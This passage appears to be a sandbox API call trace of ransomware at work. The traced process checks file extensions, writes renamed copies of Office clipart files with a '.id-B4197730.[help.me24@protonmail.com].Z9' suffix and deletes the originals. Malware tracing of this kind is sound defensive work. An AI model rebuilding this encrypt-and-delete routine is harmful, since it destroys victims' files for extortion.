	[0166.890] lstrlenW (lpString=".bz2") returned 4
	[0166.890] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.890] lstrlenW (lpString=".7z") returned 3
	[0166.890] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.890] lstrlenW (lpString=".dbf") returned 4
	[0166.890] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.890] lstrlenW (lpString=".1cd") returned 4
	[0166.890] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.890] lstrlenW (lpString=".jpg") returned 4
	[0166.890] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.890] lstrlenW (lpString=".doc") returned 4
	[0166.890] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.890] lstrlenW (lpString=".docx") returned 5
	[0166.890] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0166.890] lstrlenW (lpString=".pdf") returned 4
	[0166.890] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.891] lstrlenW (lpString=".xls") returned 4
	[0166.891] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.891] lstrlenW (lpString=".xlsx") returned 5
	[0166.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0166.891] lstrlenW (lpString=".ppt") returned 4
	[0166.891] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.891] lstrlenW (lpString=".zip") returned 4
	[0166.891] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.891] lstrlenW (lpString=".rar") returned 4
	[0166.891] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.891] lstrlenW (lpString=".bz2") returned 4
	[0166.891] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.891] lstrlenW (lpString=".7z") returned 3
	[0166.891] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.891] lstrlenW (lpString=".dbf") returned 4
	[0166.891] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.891] lstrlenW (lpString=".1cd") returned 4
	[0166.891] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0166.891] lstrlenW (lpString=".jpg") returned 4
	[0166.891] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.891] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.891] lstrlenW (lpString="J0099200.GIF") returned 12
	[0166.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.076] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=16543) returned 1
	[0167.076] CloseHandle (hObject=0x4a4) returned 1
	[0167.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220
	[0167.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.076] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.076] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.077] GetLastError () returned 0x0
	[0167.077] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x409f, lpOverlapped=0x0) returned 1
	[0167.080] WriteFile (in: hFile=0x4b8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x40a0, lpOverlapped=0x0) returned 1
	[0167.081] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.081] WriteFile (in: hFile=0x4b8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.081] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.081] CloseHandle (hObject=0x4b8) returned 1
	[0167.082] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.082] SetEndOfFile (hFile=0x4a4) returned 1
	[0167.084] CloseHandle (hObject=0x4a4) returned 1
	[0167.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1
	[0167.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.085] lstrlenW (lpString=".doc") returned 4
	[0167.085] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.085] lstrlenW (lpString=".docx") returned 5
	[0167.085] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1
	[0167.085] lstrlenW (lpString=".pdf") returned 4
	[0167.085] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.085] lstrlenW (lpString=".xls") returned 4
	[0167.085] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.085] lstrlenW (lpString=".xlsx") returned 5
	[0167.085] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1
	[0167.086] lstrlenW (lpString=".ppt") returned 4
	[0167.086] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.086] lstrlenW (lpString=".zip") returned 4
	[0167.086] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.086] lstrlenW (lpString=".rar") returned 4
	[0167.086] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.086] lstrlenW (lpString=".bz2") returned 4
	[0167.086] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.086] lstrlenW (lpString=".7z") returned 3
	[0167.086] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.086] lstrlenW (lpString=".dbf") returned 4
	[0167.086] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.086] lstrlenW (lpString=".1cd") returned 4
	[0167.086] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.086] lstrlenW (lpString=".jpg") returned 4
	[0167.086] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.086] lstrlenW (lpString=".doc") returned 4
	[0167.086] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.086] lstrlenW (lpString=".docx") returned 5
	[0167.086] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1
	[0167.086] lstrlenW (lpString=".pdf") returned 4
	[0167.086] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.086] lstrlenW (lpString=".xls") returned 4
	[0167.086] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.086] lstrlenW (lpString=".xlsx") returned 5
	[0167.086] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1
	[0167.086] lstrlenW (lpString=".ppt") returned 4
	[0167.086] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.087] lstrlenW (lpString=".zip") returned 4
	[0167.087] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.087] lstrlenW (lpString=".rar") returned 4
	[0167.087] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.087] lstrlenW (lpString=".bz2") returned 4
	[0167.087] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.087] lstrlenW (lpString=".7z") returned 3
	[0167.087] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.087] lstrlenW (lpString=".dbf") returned 4
	[0167.087] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.087] lstrlenW (lpString=".1cd") returned 4
	[0167.087] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0167.087] lstrlenW (lpString=".jpg") returned 4
	[0167.087] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.087] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0167.087] lstrlenW (lpString="J0099205.WMF") returned 12
	[0167.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.088] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=17854) returned 1
	[0167.088] CloseHandle (hObject=0x4a4) returned 1
	[0167.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220
	[0167.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.089] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.089] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.089] GetLastError () returned 0x0
	[0167.090] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x45be, lpOverlapped=0x0) returned 1
	[0167.092] WriteFile (in: hFile=0x4b8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0167.093] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.093] WriteFile (in: hFile=0x4b8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.093] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.093] CloseHandle (hObject=0x4b8) returned 1
	[0167.094] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.094] SetEndOfFile (hFile=0x4a4) returned 1
	[0167.097] CloseHandle (hObject=0x4a4) returned 1
	[0167.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1
	[0167.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.100] lstrlenW (lpString=".doc") returned 4
	[0167.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.100] lstrlenW (lpString=".docx") returned 5
	[0167.100] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0167.100] lstrlenW (lpString=".pdf") returned 4
	[0167.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.100] lstrlenW (lpString=".xls") returned 4
	[0167.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.100] lstrlenW (lpString=".xlsx") returned 5
	[0167.100] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0167.100] lstrlenW (lpString=".ppt") returned 4
	[0167.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.100] lstrlenW (lpString=".zip") returned 4
	[0167.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.100] lstrlenW (lpString=".rar") returned 4
	[0167.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.100] lstrlenW (lpString=".bz2") returned 4
	[0167.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.100] lstrlenW (lpString=".7z") returned 3
	[0167.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.100] lstrlenW (lpString=".dbf") returned 4
	[0167.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.101] lstrlenW (lpString=".1cd") returned 4
	[0167.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.101] lstrlenW (lpString=".jpg") returned 4
	[0167.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.101] lstrlenW (lpString=".doc") returned 4
	[0167.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString=".docx") returned 5
	[0167.101] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0167.101] lstrlenW (lpString=".pdf") returned 4
	[0167.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString=".xls") returned 4
	[0167.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.101] lstrlenW (lpString=".xlsx") returned 5
	[0167.101] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0167.101] lstrlenW (lpString=".ppt") returned 4
	[0167.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.101] lstrlenW (lpString=".zip") returned 4
	[0167.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.101] lstrlenW (lpString=".rar") returned 4
	[0167.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString=".bz2") returned 4
	[0167.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString=".7z") returned 3
	[0167.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.101] lstrlenW (lpString=".dbf") returned 4
	[0167.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.101] lstrlenW (lpString=".1cd") returned 4
	[0167.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0167.102] lstrlenW (lpString=".jpg") returned 4
	[0167.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.102] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.102] lstrlenW (lpString="J0101856.BMP") returned 12
	[0167.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.102] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=78840) returned 1
	[0167.102] CloseHandle (hObject=0x4a4) returned 1
	[0167.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220
	[0167.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.103] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.103] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.104] GetLastError () returned 0x0
	[0167.104] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x133f8, lpOverlapped=0x0) returned 1
	[0167.109] WriteFile (in: hFile=0x4b8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x13400, lpOverlapped=0x0) returned 1
	[0167.126] ReadFile (in: hFile=0x4a4, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.127] WriteFile (in: hFile=0x4b8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.127] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.127] CloseHandle (hObject=0x4b8) returned 1
	[0167.127] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.127] SetEndOfFile (hFile=0x4a4) returned 1
	[0167.227] CloseHandle (hObject=0x4a4) returned 1
	[0167.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1
	[0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.694] lstrlenW (lpString=".doc") returned 4
	[0167.694] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.707] lstrlenW (lpString=".docx") returned 5
	[0167.707] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0167.707] lstrlenW (lpString=".pdf") returned 4
	[0167.707] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.707] lstrlenW (lpString=".xls") returned 4
	[0167.707] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.707] lstrlenW (lpString=".xlsx") returned 5
	[0167.707] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0167.707] lstrlenW (lpString=".ppt") returned 4
	[0167.707] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0167.707] lstrlenW (lpString=".zip") returned 4
	[0167.707] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.707] lstrlenW (lpString=".rar") returned 4
	[0167.707] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
